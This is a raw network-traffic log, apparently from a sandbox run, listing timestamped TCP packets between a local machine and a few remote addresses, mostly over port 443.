Dec 9, 2024 06:50:24.348865986 CET	443	49896	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.349245071 CET	49897	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.349278927 CET	443	49897	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.350076914 CET	49897	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.351069927 CET	49897	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.351084948 CET	443	49897	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.713788986 CET	443	49893	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.717294931 CET	443	49893	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.717358112 CET	49893	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.717360020 CET	443	49893	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.717411041 CET	49893	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.719957113 CET	49893	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.719983101 CET	443	49893	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.720009089 CET	49893	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.720015049 CET	443	49893	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.723098040 CET	49898	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.723150015 CET	443	49898	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.723541021 CET	49898	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.724345922 CET	49898	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.724360943 CET	443	49898	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.788796902 CET	443	49894	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.789789915 CET	49894	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.789803028 CET	443	49894	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:24.790714979 CET	49894	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:24.790720940 CET	443	49894	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:25.222456932 CET	443	49894	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:25.225563049 CET	443	49894	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:25.225702047 CET	49894	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:25.225728989 CET	49894	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:25.225748062 CET	443	49894	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:25.225771904 CET	49894	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:25.225779057 CET	443	49894	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:25.230061054 CET	49899	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:25.230109930 CET	443	49899	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:25.230166912 CET	49899	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:25.231158972 CET	49899	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:25.231170893 CET	443	49899	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.080373049 CET	443	49895	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.081651926 CET	443	49897	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.086429119 CET	443	49896	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.098858118 CET	49896	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.098907948 CET	443	49896	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.098985910 CET	49897	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.099019051 CET	443	49897	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.099438906 CET	49896	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.099443913 CET	443	49896	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.100354910 CET	49897	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.100359917 CET	443	49897	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.100600958 CET	49895	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.100621939 CET	443	49895	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.102591991 CET	49895	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.102596998 CET	443	49895	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.465357065 CET	49900	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.465421915 CET	443	49900	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.465576887 CET	49900	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.465898037 CET	49900	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.465914011 CET	443	49900	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.466259003 CET	443	49898	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.466650009 CET	49898	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.466676950 CET	443	49898	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.467204094 CET	49898	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.467207909 CET	443	49898	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.513781071 CET	443	49895	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.515016079 CET	443	49897	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.516887903 CET	443	49895	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.516931057 CET	443	49895	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.516942978 CET	49895	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.516982079 CET	49895	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.517021894 CET	49895	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.517038107 CET	443	49895	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.517050028 CET	49895	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.517054081 CET	443	49895	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.518201113 CET	443	49897	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.518277884 CET	49897	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.518374920 CET	49897	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.518393040 CET	443	49897	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.518403053 CET	49897	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.518408060 CET	443	49897	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.519646883 CET	49901	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.519681931 CET	443	49901	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.519870043 CET	49901	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.520021915 CET	49901	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.520034075 CET	443	49901	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.520390987 CET	49902	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.520440102 CET	443	49902	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.520642996 CET	49902	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.520761967 CET	49902	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.520776987 CET	443	49902	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.535285950 CET	443	49896	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.535305023 CET	443	49896	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.535373926 CET	49896	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.535394907 CET	443	49896	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.535564899 CET	49896	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.535573006 CET	443	49896	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.535587072 CET	49896	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.535726070 CET	443	49896	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.535757065 CET	443	49896	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.535974979 CET	49896	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.537828922 CET	49903	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.537842989 CET	443	49903	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.538054943 CET	49903	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.538177013 CET	49903	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.538187027 CET	443	49903	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.900600910 CET	443	49898	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.900671005 CET	443	49898	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.900800943 CET	443	49898	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.900825024 CET	49898	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.900883913 CET	49898	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.901034117 CET	49898	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.901057959 CET	443	49898	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.901071072 CET	49898	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.901077032 CET	443	49898	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.903723001 CET	49904	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.903770924 CET	443	49904	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.903937101 CET	49904	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.904119968 CET	49904	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.904136896 CET	443	49904	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.978334904 CET	443	49899	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.978816986 CET	49899	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.978831053 CET	443	49899	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:26.979249954 CET	49899	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:26.979254007 CET	443	49899	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:27.410623074 CET	443	49899	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:27.414671898 CET	443	49899	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:27.414724112 CET	443	49899	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:27.414736986 CET	49899	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:27.414787054 CET	49899	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:27.415442944 CET	49899	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:27.415466070 CET	443	49899	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:27.415477037 CET	49899	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:27.415482998 CET	443	49899	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:27.418194056 CET	49905	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:27.418246031 CET	443	49905	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:27.418314934 CET	49905	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:27.418442011 CET	49905	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:27.418452978 CET	443	49905	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:27.853647947 CET	80	49852	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:27.853713989 CET	49852	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:27.853801966 CET	49852	80	192.168.2.11	181.214.58.112
Dec 9, 2024 06:50:27.973121881 CET	80	49852	181.214.58.112	192.168.2.11
Dec 9, 2024 06:50:28.185684919 CET	443	49900	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.186301947 CET	49900	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.186328888 CET	443	49900	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.187239885 CET	49900	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.187244892 CET	443	49900	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.235918999 CET	443	49901	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.236407042 CET	49901	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.236430883 CET	443	49901	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.236876965 CET	49901	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.236881018 CET	443	49901	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.238905907 CET	443	49902	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.239259958 CET	49902	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.239276886 CET	443	49902	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.239646912 CET	49902	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.239651918 CET	443	49902	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.253431082 CET	443	49903	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.253830910 CET	49903	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.253860950 CET	443	49903	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.254232883 CET	49903	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.254237890 CET	443	49903	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.621531010 CET	443	49904	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.623081923 CET	49904	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.623114109 CET	443	49904	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.623677015 CET	49904	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.623684883 CET	443	49904	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.625593901 CET	443	49900	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.625613928 CET	443	49900	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.625667095 CET	49900	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.625700951 CET	443	49900	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.626100063 CET	49900	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.626115084 CET	443	49900	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.626128912 CET	49900	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.626265049 CET	443	49900	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.626297951 CET	443	49900	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.626477957 CET	49900	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.670073032 CET	443	49901	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.673386097 CET	443	49902	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.673444986 CET	443	49901	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.674818993 CET	49901	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.676536083 CET	443	49902	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.678771019 CET	49902	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:28.686598063 CET	443	49903	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.690455914 CET	443	49903	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:28.690793991 CET	49903	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.069936991 CET	443	49904	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.069978952 CET	443	49904	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.070034027 CET	443	49904	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.070091963 CET	49904	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.090723038 CET	49903	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.090779066 CET	443	49903	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.090796947 CET	49903	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.090805054 CET	443	49903	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.091058016 CET	49904	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.091090918 CET	443	49904	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.091104984 CET	49904	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.091110945 CET	443	49904	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.156122923 CET	49901	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.156147957 CET	443	49901	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.174426079 CET	443	49905	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.175111055 CET	49905	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.175143003 CET	443	49905	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.175544977 CET	49905	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.175549030 CET	443	49905	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.177082062 CET	49902	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.177119970 CET	443	49902	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.177134037 CET	49902	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.177140951 CET	443	49902	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.245722055 CET	49906	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.245776892 CET	443	49906	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.245840073 CET	49906	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.247298956 CET	49907	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.247332096 CET	443	49907	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.247499943 CET	49907	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.248991966 CET	49908	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.249022961 CET	443	49908	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.249109983 CET	49908	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.255398035 CET	49909	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.255439997 CET	443	49909	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.255578041 CET	49909	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.255776882 CET	49909	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.255789042 CET	443	49909	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.256048918 CET	49906	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.256077051 CET	443	49906	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.256313086 CET	49907	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.256335974 CET	443	49907	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.307082891 CET	49908	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.307122946 CET	443	49908	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.608356953 CET	443	49905	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.611430883 CET	443	49905	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.611495972 CET	49905	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.612025023 CET	49905	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.612052917 CET	443	49905	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.612066031 CET	49905	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.612071991 CET	443	49905	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.615111113 CET	49910	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.615158081 CET	443	49910	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:29.615272045 CET	49910	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.615549088 CET	49910	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:29.615561962 CET	443	49910	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:30.184518099 CET	49744	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:50:30.304827929 CET	80	49744	23.111.175.138	192.168.2.11
Dec 9, 2024 06:50:30.535686016 CET	80	49744	23.111.175.138	192.168.2.11
Dec 9, 2024 06:50:30.535751104 CET	49744	80	192.168.2.11	23.111.175.138
Dec 9, 2024 06:50:30.821955919 CET	443	49906	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:30.822010994 CET	443	49909	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:30.822463036 CET	49906	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:30.822491884 CET	443	49906	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:30.822916985 CET	49909	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:30.822956085 CET	443	49909	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:30.822971106 CET	49906	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:30.822976112 CET	443	49906	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:30.823431015 CET	49909	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:30.823441029 CET	443	49909	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:30.988756895 CET	443	49907	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:30.989320040 CET	49907	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:30.989372015 CET	443	49907	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:30.989947081 CET	49907	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:30.989957094 CET	443	49907	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.020947933 CET	443	49908	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.021430969 CET	49908	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.021471977 CET	443	49908	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.021872044 CET	49908	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.021878958 CET	443	49908	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.255021095 CET	443	49906	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.255105972 CET	443	49909	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.259366035 CET	443	49906	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.259430885 CET	443	49906	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.259509087 CET	443	49909	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.259613037 CET	49906	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.259701014 CET	49909	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.272912979 CET	49906	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.272943974 CET	443	49906	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.272979021 CET	49906	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.272985935 CET	443	49906	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.314111948 CET	49909	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.314111948 CET	49909	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.314143896 CET	443	49909	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.314152956 CET	443	49909	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.317573071 CET	49911	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.317600965 CET	443	49911	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.318836927 CET	49911	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.319751024 CET	49911	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.319752932 CET	49912	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.319766045 CET	443	49911	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.319818020 CET	443	49912	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.319930077 CET	49912	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.320070982 CET	49912	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.320085049 CET	443	49912	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.331855059 CET	443	49910	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.370791912 CET	49910	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.370831966 CET	443	49910	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.374785900 CET	49910	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.374790907 CET	443	49910	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.421859980 CET	443	49907	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.425791025 CET	443	49907	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.430790901 CET	49907	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.454672098 CET	443	49908	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.458666086 CET	443	49908	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.458731890 CET	443	49908	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.460076094 CET	49908	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.461966038 CET	49907	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.461966038 CET	49907	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.461997986 CET	443	49907	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.462013006 CET	443	49907	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.464325905 CET	49908	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.464325905 CET	49908	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.464343071 CET	443	49908	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.464350939 CET	443	49908	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.468014002 CET	49913	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.468054056 CET	443	49913	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.468390942 CET	49913	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.469259024 CET	49914	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.469307899 CET	443	49914	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.469381094 CET	49914	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.469568968 CET	49913	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.469580889 CET	443	49913	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.469861031 CET	49914	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.469871998 CET	443	49914	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.764667034 CET	443	49910	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.768476963 CET	443	49910	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.768565893 CET	49910	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.768877029 CET	49910	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.768899918 CET	443	49910	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.772439957 CET	49916	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.772486925 CET	443	49916	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:31.772737026 CET	49916	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.772737980 CET	49916	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:31.772773981 CET	443	49916	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.031997919 CET	443	49911	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.032526970 CET	49911	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.032562017 CET	443	49911	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.032975912 CET	49911	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.032987118 CET	443	49911	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.033595085 CET	443	49912	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.033982992 CET	49912	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.034012079 CET	443	49912	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.034368992 CET	49912	443	192.168.2.11	13.107.246.63
Dec 9, 2024 06:50:33.034380913 CET	443	49912	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.185909033 CET	443	49913	13.107.246.63	192.168.2.11
Dec 9, 2024 06:50:33.186232090 CET	443	49914	13.107.246.63	192.168.2.11
